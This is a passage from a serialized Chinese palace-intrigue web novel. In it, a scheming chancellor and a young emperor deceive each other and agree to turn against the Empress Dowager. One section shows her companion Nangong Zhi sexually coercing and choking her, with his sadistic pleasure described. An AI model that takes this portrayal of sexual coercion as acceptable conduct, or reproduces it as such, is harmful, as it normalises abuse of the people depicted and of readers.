“那韩王……狼子野心!他……他趁微臣赶往荆州之际,出逃云州,还起兵造反。微臣急着去镇压,可没想到他竟暗中对微臣下了……下了慢性剧毒!以此……以此挟制微臣,为其所用!微臣……微臣身不由己,形同傀儡,苦不堪言啊陛下!” 徐敬意一边说,一边观察着郑遂的反应。 只见小皇帝脸上瞬间布满了震惊,双拳紧握,仿佛愤怒至极。 徐敬意心中稍定,继续添油加醋,将脏水尽数泼向韩王,还不忘同时将自己塑造成忍辱负重的忠臣。 “此次秦王之事,韩王那贼子,竟疑心是微臣暗中通传消息,致使禁军大败秦王。他……他勃然大怒,险些当场杀了微臣!” 徐敬意满脸的劫后余生:“微臣……微臣无奈,为求活命,只得……只得虚与委蛇,假意答应回京为他探听……探听京城虚实……这才……这才得以脱身,得以面见圣颜,向陛下……禀明实情!陛下!韩王野心昭昭,图谋不轨,陛下……陛下要早做防范啊!” 这番说辞,七分假里掺着三分真,配上他此刻凄惨无比的模样和声泪俱下的表演,极具煽动力。 郑遂心中冷笑连连,脸上却是一片沉痛。 他猛地一拍大腿,痛心疾首道:“哎呀!徐相!原来……原来竟是因为此事?!是朕……是朕害了爱卿啊!” 徐敬意一愣:“陛下……此言何意?” 郑遂脸上充满了懊悔:“徐相有所不知!那禁军行踪……是朕派去的呀!可并非朕有意探查!实乃是……” 郑遂压低了声音:“是您的几位交好友人,忧心国事,主动向朕建言献策。且他们多方打探,才寻得了一些禁军可能的线索。朕……朕当时只想着,徐相在外安抚藩王,劳苦功高,朕在京城,当为徐相分忧!绝不能再让这些琐事烦扰徐相!加之……加之当时情势紧急,秦王咄咄逼人,朕……朕一时心急,便自作主张,下了那道旨意,命禁军相机行事,阻挡秦王……” 郑遂重重叹了口气,仿佛无比懊恼。 “朕……朕万万没想到!朕这一片分忧之心,竟……竟成了韩王构陷徐相的借口!竟害得徐相遭此……遭此大难!朕……朕愧对徐相啊!” 说着,竟也眼眶微红,情真意切。 徐敬意听着郑遂这番推心置腹的,只觉得一股腥甜之气再次涌上喉咙,眼前阵阵发黑! 果然是这群喂不熟的白眼狼! 是他们撺掇这小皇帝下的旨! 是他们,亲手把他徐敬意推到了韩王的刀口之下! 他心中恨意滔天,几乎要将牙齿咬碎! 但看着郑遂那真诚懊悔的样子,徐敬意又强行将恨意压了下去。 这小皇帝……看起来倒不像是主谋,更像是被自己那群“忠心”的党羽给利用了。 他对自己依旧恭敬,甚至带着几分依赖。 那他恰恰可以,利用小皇帝的这份愧疚和无知! 徐敬意深吸一口气,,脸上挤出一副理解表情:“陛下言重了!陛下体恤微臣,为微臣分忧,此乃仁君之举!微臣感激涕零!” 说着,他话锋一转。 “只是……陛下,微臣有一事不明。他们……久在京城中枢,远离地方军务,如何能如此轻易地寻得那支潜藏多年的禁军下落?这……这未免太过蹊跷了……” 他不能直接说禁军线索是自己掌握的,那样就暴露了他之前对有关于禁军这件事的隐瞒。 他只能把这份“蹊跷”的球,巧妙地踢回给郑遂,暗示此事背后另有推手,试图引导郑遂去怀疑。 比如,那个深藏寿康宫的徐妙晴。 郑遂闻言,眉头果然微微蹙起。 片刻,他像是想起了什么,脸上露出一丝恍然。 “哦!徐相原来是担心这个?”郑遂拍了拍徐敬意的肩膀。 “其实这事,虽然无意中害了徐相,但他们应当也是无心之失,徐相千万不要怪罪。说穿了,他们也是为朝廷着想,若没有他们,朕也找不到这禁军的所在之处啊!” 可徐敬意却已经是恨得咬牙切齿了。 就在他徐敬意像狗一样被韩王捆在驿站床上,嘴里塞着破布,屈辱地等待天亮时。就在他为了活命装疯卖傻,被守卫当成疯狗捆绑得更紧时…… 他视为心腹、倚为臂膀的人,竟然在皇帝面前侃侃而谈,出了这么个馊主意! 哪怕徐敬意早就知道,自己的处境都是拜他们所赐,可真的耳闻,和猜测终归是不一样的! 当初郑遂四面楚歌的境遇,他如今也算是体会到了! 徐敬意强忍住恨意,做出一副痛心疾首的模样,不顾反对强行下跪。 第87章 这都是徐妙晴所为 “陛下啊!”徐敬意噗通一声重重跪倒在地。 他几乎涕泪横流,声音嘶哑的哭喊:“陛下!您可知道,那支禁军潜藏多年,寻常人……寻常人岂能轻易寻得?!哪怕是微臣……微臣去耗费心血,布下多少眼线,最终所得恐怕也不过是略知皮毛,哪里又能锁定其确切行踪?只怕倾尽全力也难在短时间内窥其全貌啊陛下!” 他抬起布满泪痕的脸,死死盯着郑遂。 “所以他们!陛下口中的那些‘忠心’臣子,凭什么能在短短数日内就为陛下献上如此精准的线索?这绝非偶然!这定是有人……有人早已在暗中搜寻多时!只待时机成熟,便呈于陛下面前!” 徐敬意双手死死抠住地面,神色愤恨,仿佛要将那金砖抓穿一般。 “微臣……微臣奉旨巡抚藩王,远离中枢,数月奔波于外,生死悬于一线!如何能……如何能助他们寻得这等绝密?!这背后相助之人……其心可诛!其意叵测啊陛下!这是要将微臣置于死地,更是要将陛下您……推入万劫不复的深渊!” 郑遂居高临下地看着脚下这昔日权倾朝野、如今却卑微如泥的丞相,心中冷笑。 徐贼啊徐贼,你到了这般山穷水尽、摇尾乞怜的地步,竟还不忘抓住每一个机会为自己洗脱! 只怕放在往日,这等掌握禁军线索的泼天功劳,他徐敬意早就迫不及待地揽入怀中,向自己邀功请赏了。 可见如今他已是走投无路,只能将全部身家性命,都赌在自己这个他昔日眼中的“傀儡”身上了。 郑遂面上却是恰到好处地露出震惊,仿佛被徐敬意这石破天惊的指控砸得晕头转向。 他微微后退半步,眉头紧锁。 “徐相……徐相此言……太过骇人!背后有人相助?这……这怎么可能?爱卿的意思是……有人处心积虑,借朕之手……来害你?可……可这深宫高墙之内,朝堂衮衮诸公之中,谁会……谁会如此处心积虑地要置爱卿于死地?” 徐敬意等的就是郑遂这“上道”的一问。 他心中狂喜,强压下翻腾的恨意,脸上挤出更深沉的悲愤。 挣扎着挺直了些腰背,压低声音道:“陛下圣明!臣思来想去……能在这深宫之中翻云覆雨,能令朝中重臣甘为驱使,还能视微臣如眼中钉、肉中刺,恨不得除之而后快者……普天之下,除了那位……那位居于寿康宫,手握权柄,早已视陛下为眼中钉的太后娘娘……还能有谁?!” “母后?!”郑遂猛地倒抽一口冷气,脸色瞬间煞白。 他失声惊呼,身体晃了晃,几乎站立不稳。 “徐相……你……你何出此言?!母后她……她毕竟是朕的嫡母,更是徐相的亲妹啊!她……她怎会……” 郑遂几乎语无伦次,仿佛无法接受这个指控。 徐敬意见郑遂终于被引到了自己预设的方向,心中巨石落地,连忙趁热打铁。 “陛下!微臣的亲妹?哈!正是这血脉至亲,才最知如何伤你最深!陛下细想,若非是她,谁能在后宫只手遮天?谁能调动那些盘根错节的势力?谁能悄无声息地掌握禁军线索,并精准地送到陛下面前,借陛下之手,行那借刀杀人之计,将微臣推入韩王这头恶虎的口中?!” 他顿了顿,眼中闪过一丝狠厉的精光,不经意的抛出了另一个重磅炸弹。 “况且……陛下可曾听闻?太后娘娘身边……近来多了一位极为得宠的‘近侍’?一个叫南宫治的年轻人?” “南宫治?”郑遂脸上适时地露一丝尴尬,略显局促地搓了搓手,目光游移。 “母后……母后身边的人是多了些,朕……朕身为皇帝,又是晚辈,怎好……怎好去打听母后宫闱之事?这……这有失体统……” 徐敬意心中暗骂小皇帝迂腐无用,面上却做出痛心疾首、捶胸顿足之状,声音陡然拔高。 “陛下糊涂啊!体统?江山社稷都快倾覆了,还谈什么体统?!陛下!您自幼长于深宫,博览群书,可曾在前朝秘档中见过‘南宫’一姓?!可曾知晓前朝国破之时,那南宫世家的家主是如何紧随末帝,自缢于金銮殿上,血溅丹墀?!可曾记得,南宫一族在被太祖流放前,曾立下何等毒誓?!” 他死死盯着郑遂的眼睛,一字一句,如同淬毒的匕首,狠狠扎下。 “他们发誓,南宫子孙,永世不为郑氏效力!若郑氏皇朝气数衰微,南宫一族即便只剩一息尚存,一个男丁,也必将倾尽全族之力,屠戮郑氏皇族满门!血债血偿,鸡犬不留!陛下!那南宫治,他就是前朝余孽!是潜伏在太后身边,意图颠覆我大郑江山的毒蛇!” 郑遂脸上的茫然凝固了。 他像是被徐敬意的话语击中,整个人僵在原地,眼神空洞地望着前方,嘴唇微微翕动,似乎在艰难地回忆着什么。 时间仿佛凝固了许久,御书房内只剩下徐敬意粗重的喘息声。 终于,郑遂的身体猛地一颤,眼中瞬间爆发出极致的惊恐,脸色由白转青,仿佛终于想起了什么。 “啊!!”郑遂失态地低呼一声,踉跄后退,后背重重撞在冰冷的御案边缘 他指着徐敬意,手指剧烈颤抖,声音都变了调。 “南……南宫世家?!前朝……前朝余孽?!徐相……你……你是说……母后身边的那个南宫治……他……他是来复仇的?!难道……难道禁军线索……是……是他帮母后找到的?!” “正是如此!陛下!”徐敬意斩钉截铁,毫不犹豫地将这口足以压死人的黑锅彻底扣在了南宫治和徐妙晴头上。 他此刻正是需要有人分担私自搜寻禁军的滔天罪责,更需要用这个惊天阴谋来换取郑遂的信任和庇护,谁让徐妙晴一头撞上来? “您想想,除了这背负着血海深仇、隐忍百年的南宫余孽,还有谁会对前朝皇室留下的隐秘力量如此了如指掌?太后……她这是引狼入室,自掘坟墓啊陛下!” 第88章 朕已决定大婚 郑遂双腿一软,再也支撑不住,跌坐在身后的龙椅上,整个人瘫软下去。 他几乎面如死灰,眼神涣散,口中不停的喃喃着 “竟……竟是这样……母后……她……她为何……” 徐敬意看着郑遂失魂落魄的样子,心中不禁升起一丝得计的阴狠, 这救命稻草,他算是抓住了! 徐敬意挣扎着膝行几步,靠近御阶,半真半假地吐露“实情”。 “陛下!事已至此,微臣不敢再有任何隐瞒!那韩王狼子野心,不禁在云州起兵造反,将微臣囚禁,以剧毒控制,逼迫微臣为其爪牙!甚至此次秦王战败,韩王疑心是微臣勾结禁军坏他好事,险些将微臣当场格杀!” 徐敬意连连磕头:“是微臣……是微臣情急之下,为了活命,只得将所猜到的,太后勾结南宫余孽、暗中操控禁军、并拉拢微臣旧部背叛之事,告知了韩王!韩王这才……这才暂时饶了微臣一命,却逼迫微臣即刻回京,替他……替他铲除徐妙晴这个祸根!陛下!微臣此番回京,实是身不由己,刀架在脖子上啊!但微臣对陛下的忠心,天地可鉴!” 徐敬意抬起头来,顶着额头上的青紫,面上一派“真情实感”的看着郑遂,几乎捶胸顿足。 “微臣既已脱身,岂能再为虎作伥?微臣愿为陛下肝脑涂地,铲除徐妙晴这个毒妇,清君侧,保社稷!只求……只求陛下看在微臣一片赤诚,保微臣一条残命!微臣……微臣实在不想再落入韩王那豺狼之手,受那非人的折磨了!” “徐相!”郑遂猛地从龙椅上弹起,快步冲下御阶,一把紧紧抓住徐敬意冰凉枯槁的手,用力将他搀扶起来。 “爱卿放心!你既已回到朕的身边,回到了这京城!朕岂能再容韩王那逆贼将你带走?!朕以天子之尊向你保证,只要朕在一日,必护你周全!” 郑遂扶着摇摇欲坠的徐敬意,面上满是决然,但随即又化作深深的忧虑。 “可是……徐相啊,韩王势大,且凶残成性。若朕此刻直接扣下你,明言与韩王对抗,无异于逼他狗急跳墙!他若不顾一切挥师北上,京城危矣!况且……” 郑遂的声音压得更低:“禁军如今……恐怕已落入母后……不,落入那毒妇和南宫治的掌控之中!京城内外,如同铁桶,我们若贸然行事,只怕未等韩王打来,我们自己就先……” 徐敬意的心瞬间沉了下去,刚刚燃起的希望又被冰冷的现实浇灭,急切道:“那……那陛下之意是?微臣该如何是好?韩王给微臣的时限……恐怕不会太久!” 郑遂眉头紧锁,在御案前踱了几步,似乎在苦思对策。 忽然,他脚步一顿,转身看向徐敬意。 “朕……倒有一法,或许可行。既能名正言顺地暂时将徐相留在京城,又能让韩王投鼠忌器,不敢轻易动你。” “何法?陛下快讲!”徐敬意急切催促。 郑遂深吸一口气,目光缓缓转向御书房一侧的巨大紫檀木屏风。 “出来吧。” 徐敬意一愣,顺着郑遂的目光疑惑地望向那雕龙画凤的屏风。 屏风之后,人影微动。 片刻,一个身着水蓝色宫装、身姿窈窕、容颜清丽的少女低着头,莲步轻移,缓缓走了出来。 “妍……妍儿?!”徐敬意如同被一道惊雷劈中,整个人彻底僵住,眼珠子几乎要瞪出眼眶。 他失声惊呼,声音都变了调。 徐妍! 就在徐敬意震惊到无以复加的目光中,郑遂极其自然地伸出手臂,一把揽住了徐妍纤细的腰肢,将她轻轻带入自己怀中。 徐妍顺势依偎在郑遂胸前,螓首微垂,脸颊飞红。 那副小鸟依人、情根深种的模样,绝非伪装! 郑遂搂着徐妍,对着目瞪口呆的徐敬意,露出了一个羞涩的笑容。 “徐相,实不相瞒。朕……朕心仪妍儿已久。她温婉贤淑,知书达理,与朕心意相通。朕欲立她为后,执掌中宫,母仪天下!” 他顿了顿,看着徐敬意那震惊到失语的表情,继续说道。 “若朕与妍儿大婚,此乃国朝盛典,关乎社稷礼法。徐相身为当朝丞相,更是朕未来的岳丈泰山,于情于理,都需留在京城主持大局,待大婚礼成之后,方可继续巡抚藩王。此乃天经地义,韩王纵有千般不愿,也寻不出丝毫反驳的借口!” 郑遂见徐敬意不开口,又继续补充。 “如此,徐相便可名正言顺地留在京城,暂离虎口!而朕与徐相,更是亲上加亲,成了真正的一家人!韩王若想动你,便是动朕的至亲,动我大郑的国丈!谅他也要掂量掂量这后果!” 徐敬意只觉得脑子里“嗡嗡”作响,一片空白。 他看着依偎在郑遂怀中、满脸娇羞的徐妍,再看着郑遂坦荡的笑容,险些直接晕过去。 当初送徐妍入宫,本就是为了在郑遂身边埋下一颗钉子,必要时可以牺牲清白,以美色和姻亲来更牢固地控制这个小皇帝。 这个预案,他心中不是没有过! 但他从来不知道这两人是什么时候勾搭成奸的! 他竟全然不知!一丝风声都未曾听闻! 后宫之事,谁最了如指掌? 自然是太后徐妙晴! 可徐妙晴……这个贱人! 她竟然对此事只字未提! 只怕她早已将自己视作仇敌,巴不得自己蒙在鼓里,被徐妍和皇帝联手背刺! 她的反心,她的算计,早已不是一日两日了! 瞬间,徐敬意心里对徐妙晴的恨意就攀升到了顶点。 可郑遂此刻提出的这个“联姻”之计,对于深陷绝境的他而言,确实是眼前唯一、也是最好的选择。 唯有如此,他才能暂时摆脱韩王的魔爪,获得喘息之机,甚至……借助这层新的,皇后嫡亲伯父身份,重新获取权力! 最终,求生的本能和对权力的渴望还是压倒了被算计的屈辱。 徐敬意脸上的表情如同走马灯般变幻,最终化作一缕带着带着几分认命的苦涩。 第89章 就说要查到她的罪证 他深深的吸了一口气,仿佛用尽了全身力气,才艰难地挤出一句话:“陛下……陛下厚爱,徐妍……何德何能……微臣……微臣……谢主隆恩!” 郑遂眼中闪过一丝不易察觉的冷芒,脸上笑容却更盛:“徐相深明大义,朕心甚慰!如此,你我君臣,翁婿同心,共度时艰!” 徐敬意直起身,脸上那复杂的神色迅速收敛,重新被一种急迫取代。 他必须抓住郑遂此刻的信任,将矛头彻底引向徐妙晴 “陛下!联姻之事,微臣自当竭尽全力促成。但徐妙晴之祸,迫在眉睫,刻不容缓啊!” 他再次跪倒,言辞恳切。 “陛下!那毒妇身为后宫妇人,竟敢勾结前朝余孽,豢养面首,秽乱宫闱,更图谋不轨,妄图染指神器!其罪罄竹难书!请陛下万勿因一时心软,念及那早已断绝的母子之情,而贻误铲除奸佞的良机啊!否则,我大郑江山危矣!陛下您的安危危矣!” 郑遂脸上的笑容消失了,他扶着徐敬意的手臂,叹息道:“徐相所言,字字泣血,朕岂能不知?只是……如今禁军恐已被那毒妇和南宫治掌控,京城内外如同铁桶。杀一个徐妙晴或许容易,可杀了之后呢?那南宫治背后的势力究竟有多大?他潜伏多年,暗中布置了多少人手?一旦激怒了他,引得其背后势力反扑,或是他狗急跳墙直接发动禁军作乱……后果不堪设想啊!朕……朕不能拿京城百万生灵,拿祖宗基业去赌!” 徐敬意闻言,心头也是一凛。 郑遂的担忧不无道理。 南宫世家世代精研营造机关,暗藏了多少后手? 那支禁军又有多大的能量? 贸然动手,风险确实极大。 他急切问道:“那……陛下之意是?难道就任由她继续坐大,勾结余孽,祸乱朝纲吗?韩王那边……微臣无法交代啊!若看不到效果,他必定会认为微臣无用,甚至疑心微臣与陛下联手,届时他若不顾一切强攻京城……” “徐相莫急!”郑遂再次压低声音,凑近徐敬意:“朕方才细思徐相所言,那毒妇身为后宫妇人,如此处心积虑,勾结外贼,拉拢徐相旧部,掌控禁军……她图谋造反,是为了什么?难道是为了徐家?” 徐敬意立刻摇头,咬牙切齿:“绝无可能!她若真为徐家,就该与微臣一条心!何须行此鬼蜮伎俩,挖自家墙角?她这是要效仿前朝武氏,自己做那千古女帝!” “正是!”郑遂一击掌,肯定了徐敬意的判断。“所以,徐相此去见她,该怎么说?” 徐敬意一愣,随即明白了郑遂的意图。 脸上顿时显出极度的抗拒和屈辱。 “陛下是要微臣……向那毒妇……低头示好?!” 让他去向那个他恨之入骨、恨不得生啖其肉的妹妹示弱? 这比韩王的鞭子抽在身上还要让他难以接受! 郑遂按住徐敬意微微颤抖的肩膀,目光灼灼。 “徐相!大丈夫能屈能伸!小不忍则乱大谋!今日的低头,是为了明日能让她万劫不复!与其现在就撕破脸,或者仓促动手打草惊蛇,倒不如……暂且虚与委蛇,稳住她!” 徐敬意此去,大可装作因韩王逼迫而走投无路,欲寻求她的庇护,与她联手对抗韩王。 甚至……可以假意表示愿意拥戴于她! “借此机会,深入其核心,摸清她与南宫治勾结的详情,查清她是如何掌控禁军的,探明南宫治背后还有哪些势力!将所有证据牢牢掌握在我们手中!待时机成熟,铁证如山,再一举发动,雷霆万钧!届时,不仅徐妙晴和南宫治死无葬身之地,更能将他们苦心经营的势力连根拔起,永绝后患!这难道不比现在冒险动手,承担那未知的巨大风险要稳妥得多吗?” 徐敬意紧抿着嘴唇,脸上的肌肉微微抽搐。 郑遂的话像是一盆冷水,浇灭了他部分冲动的怒火,让他不得不冷静下来细细思考。 的确,硬拼风险太大,若能假意投靠,打入内部,不仅能保全自身,更能掌握主动,甚至……有机会将徐妙晴手中的力量收归己用! 这诱惑太大了! “那……韩王那边如何交代?”徐敬意仍不放心,“他逼迫微臣回京,就是要看到徐妙晴的人头!” 郑遂成竹在胸,微微一笑:“这有何难?徐相只需派人密信告知韩王,就说你已见到徐妙晴,并探查到一些惊天秘闻!” 那南宫治身份非同小可,背后牵扯甚广,甚至可能与其他藩王势力也有勾连。 京中局势复杂,各方势力盘根错节,此时若贸然动手除掉徐妙晴,不仅可能引火烧身,更可能打草惊蛇,让真正的大鱼逃脱,甚至可能引发不可测的连锁反应,破坏韩王的大计。 “所以,徐相需要时间,深入潜伏,掌握其全部罪证,摸清其所有党羽和布置,务求一击必杀,不留后患!这样做,表面上是为了徐妙晴,实则……是为了给韩王殿下将来入主京城,扫清所有障碍,铺平道路啊!” 郑遂看着徐敬意逐渐亮起来的眼睛,继续道:“韩王此人,虽残暴,却多疑且谨慎。他想要徐妙晴死,但更想稳稳当当地坐上那个位置。你如此陈明利害,强调是为了他日后‘清君侧’、名正言顺地登基铺路,他即便不能全信,也必然有所顾忌,不敢轻易动你。毕竟,你对他最大的价值,就是作为一颗深入京城的钉子。” 徐敬意紧锁的眉头终于缓缓舒展开来。 他反复咀嚼着郑遂的计策,越想越觉得此计可行。 这样一来,不仅化解了眼前的生死危机,更给他自己留下了巨大的操作空间和翻盘的可能! 既能暂时稳住韩王,又能麻痹徐妙晴,自己还能从中渔利! 一石三鸟! “可是陛下……”徐敬意眼中精光闪烁,提出了最后一个关键问题,“若我们掌握了徐妙晴勾结前朝余孽的铁证,再以此为由,请韩王‘清君侧’……这固然是名正言顺,但其他藩王呢?” 第90章 咱们需要的就是这个 秦王虽败,但各地藩王势力犹存,若他们闻风而动,也打着清君侧的旗号纷纷起兵,直指京城,那局面岂不是更加混乱? 届时群狼环伺,京城岂非危如累卵? “混乱?”郑遂冷笑一声,“可是,咱们需要的,不就就是这混乱? 藩王们若都打着清君侧的旗号起兵,他们的目标是谁? 表面上是徐妙晴和南宫治这些奸佞,但实际上呢? “他们哪个不是觊觎朕身下这张龙椅?当他们蜂拥而至,兵临城下之时,他们自己就成了彼此最大的敌人!” 郑遂站起身,负手而立。 “秦王前车之鉴不远,韩王更是虎视眈眈。其他藩王岂会坐视其中任何一方独占鳌头,攻入京城?他们必然会互相猜忌,互相牵制,互相攻伐!都想做那最后的黄雀!” 届时,他们自己就会陷入内斗的泥潭,彼此消耗!哪还有多余的精力来顾及郑遂和徐敬意? 而韩王,作为距离京城最近、实力最强、也最先被卷入这场漩涡的藩王,他必然首当其冲,成为众矢之的! 他自顾尚且不暇,哪还有功夫来惦记徐敬意这颗棋子的生死? 徐敬意听着郑遂条分缕析,眼中那最后一丝疑虑彻底消散。 高!实在是高!驱虎吞狼,坐山观虎斗! “好!好!好!”徐敬意连道三声好,猛地握紧了拳头。 “陛下圣明!此计环环相扣,天衣无缝!微臣……心服口服!” 他缓缓站起身,虽然身形依旧佝偻,但那股颓败之气全无。 他对着郑遂深深一揖:“陛下放心!微臣……定会拉下这张老脸,好好去给徐妙晴当一回‘垫脚石’!微臣会让她相信,她这个走投无路的兄长,是真心实意来投靠她,为她效犬马之劳的!微臣也定会借此良机,将那毒妇勾结前朝余孽的铁证,一件件、一桩桩,查他个水落石出!更要……将她手中掌握的那支禁军,想办法……一点一点地,拉拢到咱们这边来!” —— 寿康宫深处,锦帐低垂,熏笼里最后一点暖香早已被更浓烈、更令人窒息的气息彻底吞噬。 徐妙晴死死咬着下唇,齿间已尝到一丝淡淡的锈腥,可那点微末的痛楚,在身后南宫治烙铁般的钳制下,渺小得如同尘埃。 男人滚烫的鼻息喷在她后颈裸露的皮肤上,激起一阵难以自抑的战栗。 他一只手粗暴地箍着她的腰,另一只手则在她凌乱不堪的衣襟里肆意游走、揉捏,每一分力道都带着刻意的羞辱。 “嗯……” 一声压抑不住的呜咽终究还是从她喉咙深处挤出,带着破碎的颤抖。 可这细弱的声响却像火星落进滚油,瞬间点燃了身后男人更汹涌的暴戾。 “哭什么?”南宫治低沉的声音贴着她的耳廓响起。 “我的太后娘娘,伺候你的‘夫君’,不是天经地义么?” 最后一个字音落下的瞬间,他猛地低头,湿热的唇舌带着惩罚的力度,狠狠啃噬在她颈侧最细嫩的肌肤上。 尖锐的刺痛骤然炸开! 徐妙晴身体猛地弓起,双手徒劳地去抓挠他铁箍般的手臂,指甲划过锦缎发出刺耳的声响,却撼动不了分毫。 屈辱的泪水终于冲破堤防,汹涌地漫过眼眶,烫得她脸颊生疼。 忽然,殿门处突兀地传来“吱呀”一声轻响! 有人! 徐妙晴心脏骤停,她也不知哪里生出的力气,猛地一挣,竟将沉溺在施虐快感中的南宫治撞开了些许。 “谁?!”她嘶声尖叫,“滚出去!” 殿门处,那刚刚推开一条缝隙的宫女显然被帐内传出的那令人面红耳赤的暧昧声响惊得魂飞魄散。 一声短促的惊呼被死死捂住,紧接着脚步声急急退开,停在厚重的殿门外。 “太……太后娘娘……”宫女的声音抖得不成样子,隔着门板传来。 “丞……丞相大人求见!已……已在宫门外了!” 徐妙晴脑中“嗡”的一声巨响,一片空白。 徐敬意?他怎么会来? 他不是奉旨巡抚藩王,音讯断绝多时了吗?他怎么能回来? 他此刻闯到寿康宫来……是察觉了什么?还是……专程来与自己清算?! 徐妙晴顿时慌了,她猛地再次发力,试图彻底推开还压在她背上的南宫治。 “滚开!滚开啊!” “呵……”南宫治喉咙里溢出一声冰冷的嗤笑,非但没有松开,五指反而更深地陷进她腰间的软肉,另一只手则闪电般绕到前面,带着惩罚的意味,狠狠掐住她脖颈下方锁骨的位置。 “呃啊——!”徐妙晴痛得眼前发黑,身体剧烈地痉挛起来。 “慌什么?”南宫治俯身,温热的唇舌再次贴上她颈后那片被他咬得红肿、甚至隐隐渗出血丝的肌肤,缓慢而残忍地舔舐着。 “我的好娘娘,这就怕了?” 南宫治轻轻吻啄了一下徐妙晴的后颈。 “既然跟了我,你的命,就是我的。天塌下来,自有我替你顶着。区区一个徐敬意……” 他嗤笑一声,齿尖恶意地在那片伤痕上轻轻碾磨了一下,引来徐妙晴又一阵剧烈的颤抖。 “他敢动你一根指头试试?” 可他保护的承诺非但没有给徐妙晴带来丝毫安全感,反而更让徐妙晴恶心。 比起此刻这令人发指的侵犯和随时可能降临的杀身之祸,她心中翻腾的只有滔天的恨意。 她恨死了这个将她拖入地狱深渊的魔鬼,恨这囚笼般的寿康宫,恨自己为何会落得如此境地! 数月前,她尚是执掌后宫、与兄长徐敬意分庭抗礼的太后。 可自从这南宫治出现后,以知晓禁军线索为饵诱她上钩,她的人生便彻底失控。 这些日子以来,他确实透露过一些关于禁军模棱两可的碎片,可代价却是她必须将他奉为入幕之宾,予取予求。 更可怕的是,他不知用了什么手段,竟将寿康宫内外经营得如同铁桶,消息断绝,耳目闭塞。 她对外界的了解,竟只能依靠他偶尔施舍般的、真假难辨的只言片语! 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第91章 娘娘,救救微臣 这哪里是盟友?分明是披着人皮的豺狼! 禁军的影子没摸着,自己反倒成了他掌中玩物,日日忍受这非人的折辱。 杀了他!这个念头在徐妙晴心中疯狂滋长,几乎要冲破胸膛。 南宫治似乎察觉到了她身体里激烈的反抗浪潮,眼中戾气更盛。 他猛地扳过她的身体,将她死死压在榻上,动作更加粗暴肆虐。 “看着我!”南宫治掐着徐妙晴的下巴,强迫她涣散的目光聚焦在自己脸上。 “记住,你的命是我的!徐敬意?他算什么东西!” 徐妙晴的视线逐渐失焦了。 当南宫治终于带着一身慵懒的餍足气息起身时,徐妙晴却如同被抽掉了所有骨头人,般,只能瘫在冰冷凌乱的锦褥间,连抬起一根手指的力气都没有。 直到南宫治慢条斯理地整理好自己那身玄色锦袍,甚至好整以暇地拿起案几上的冷茶呷了一口,才用脚尖踢了踢榻沿。 “起来,收拾干净。你那好兄长,怕是等得不耐烦了。” 屈辱的泪水再次无声滑落,混着鬓角的冷汗。 徐妙晴死死咬住嘴唇内侧,直到尝到更浓的血腥味,才借着这股尖锐的疼痛,强撑着几乎散架的身体坐起。 她甚至不敢看铜镜,只凭着本能,用颤抖的手指拢起散乱的鬓发,胡乱将几支沉重的金簪插回去。 破碎的宫装已无法蔽体,她踉跄着走到衣柜前,胡乱抓出一件深紫色绣金凤的常服裹在身上,宽大的袍袖勉强遮住了手臂上的痕迹,却掩不住脖颈间那触目惊心的烙印。 徐妙晴扶着冰冷的雕花门框,深吸一口气,才终于推开门。 外殿的光线有些刺眼,徐妙晴强自挺直背脊,一步步走向那张象征着太后无上尊荣的凤尾宝座。 “宣。” 殿门再次开启,沉重的脚步声由远及近。 徐妙晴紧张的向下看过去。 可当那个身影出现在殿门口,逆着光一步步走近时,徐妙晴几乎以为自己眼花了。 来人确实是徐敬意。 可他身上那件象征着当朝宰辅权柄的蟒袍此刻却如同在泥水里滚过一般,袍角沾着几块深褐色的,袖口处甚至有一道不起眼的撕裂痕迹。 他原本保养得宜、乌黑油亮的头发,短短数月间竟已花白了大半,杂乱地束在玉冠下,几缕散发狼狈地垂在额前。 那张曾经红光满面的脸,此刻我瘦削得颧骨高耸,眼窝深陷,脸色是病态的蜡黄。 他哪里还有半分昔日权倾朝野、意气风发的丞相模样? 活脱脱一个刚从地狱里爬出来的丧家之犬! 一股扭曲的快意瞬间冲上徐妙晴的心头。 她几乎要控制不住嘴角扬起的弧度了。 徐敬意!你也有今天! 你把我当作棋子摆布多年,将我送入这吃人的深宫,可曾想过自己会落得如此下场? 定是此番巡抚藩王吃了大亏?是哪位藩王胆子这么大? 可无论是谁,都让她心头无比畅快! 但这快意只维持了短短一瞬。 徐敬意是何等样人? 他老谋深算,心狠手辣,最擅长的便是伪装示弱,以退为进。 眼前这凄惨落魄的样子,会不会又是一场精心策划的表演? 只为了让她放松警惕,引她入彀? 徐妙晴的心猛地一沉,强压下心头的波澜,脸上迅速堆砌起关切之色,身体却纹丝不动,牢牢钉在凤座之上,只微微前倾,故作关切的问道。 “哥哥这是怎么了?不过数月未见,竟憔悴消瘦至此?可是在外水土不服,伤了根本?哀家瞧着,心疼得紧。” 徐敬意低垂着头,若早已将她方才那瞬间几乎失控的快意和此刻强装的关切尽收眼底。 强烈的恨意在他胸中翻腾着,几乎要冲破喉咙喷出来。 贱人!装模作样!若非为了大计,他恨不能立刻扑上去将这毒妇撕碎! 罢了,自己就忍这一时。 扑通一声! 在徐妙晴惊讶的目光中,徐敬意竟双膝一弯,直挺挺地地跪倒在大殿冰冷坚硬的金砖之上。 “太后娘娘!”徐敬意猛地抬起头,浑浊的眼里瞬间蓄满了泪水。 “大事不好了!微臣……微臣此番巡抚,遭了韩王那逆贼的毒手啊!微臣是拼了这条老命,才……才侥幸逃回京城来!可那韩王……他的眼睛已经盯在您身上了!微臣……微臣当真是怕极了啊!” 他涕泪横流,字字泣血。 甚至还挣扎着,用膝盖在地上向前蹭行了两步,仰起那张涕泪纵横的脸,死死盯着凤座上的徐妙晴, “太后娘娘!您是微臣的亲妹妹!打断骨头连着筋的亲妹妹啊!微臣就是被千刀万剐,也绝不敢对您起半分歹念!只是……只是那韩王凶残成性,此事紧急万分,他那边的刀已经架在微臣脖子上,恐怕……恐怕糊弄不过去了啊!求太后娘娘看在骨肉亲情的份上,可怜可怜微臣,早早与微臣商议出个应对之策吧!救救微臣!也救救您自己啊!” 这石破天惊的哭诉如同一道惊雷,狠狠劈在徐妙晴的头顶。 她脸上的强装的镇定瞬间碎裂,身体猛地前倾,双手下意识地抓紧了凤座的扶手。 “什……什么?!”徐妙晴失声惊呼,“哥哥……你说清楚!你怎会落入韩王之手?他……他怎会盯上哀家?!” 韩王! 他自分封之后都没回过京城,和他们徐家更是毫无瓜葛! 他怎么会突然和徐敬意扯上关系?又怎么会将矛头指向深宫中的自己? 徐敬意匍匐在地,肩膀剧烈地耸动着。 